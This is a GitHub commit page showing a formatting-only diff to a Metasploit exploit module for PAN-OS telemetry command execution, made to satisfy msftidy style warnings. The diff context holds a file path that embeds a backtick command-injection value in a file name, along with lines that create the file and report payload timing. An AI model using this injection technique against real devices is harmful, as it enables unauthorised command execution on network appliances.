Skip to content

Commit 5df1052

Browse files
authored
Addressing msftidy issues
C:132: 20: [Correctable] Layout/SpaceAroundBlockParameters: Space before first block parameter detected. C:132: 30: [Correctable] Layout/SpaceAroundBlockParameters: Space after last block parameter detected. C:133: 5: [Correctable] Layout/IndentationWidth: Use 2 (not 4) spaces for indentation. C:143: 4: [Correctable] Layout/TrailingEmptyLines: Final newline missing.
1 parent 982b6ae commit 5df1052

File tree

1 file changed

+6
-6
lines changed

1 file changed

+6
-6
lines changed

modules/exploits/linux/http/panos_telemetry_cmd_exec.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -129,15 +129,15 @@ def exploit
129129
"/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`"
130130
]
131131

132-
files.each do | file_path |
133-
vprint_status("Creating file at #{file_path}")
134-
touch_file(file_path)
132+
files.each do |file_path|
133+
vprint_status("Creating file at #{file_path}")
134+
touch_file(file_path)
135135

136-
# Must register for clean up here instead of within touch_file, since touch_file is used in the check
137-
register_file_for_cleanup(file_path)
136+
# Must register for clean up here instead of within touch_file, since touch_file is used in the check
137+
register_file_for_cleanup(file_path)
138138
end
139139

140140
print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')
141141
print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')
142142
end
143-
end
143+
end

0 commit comments

Comments
 (0)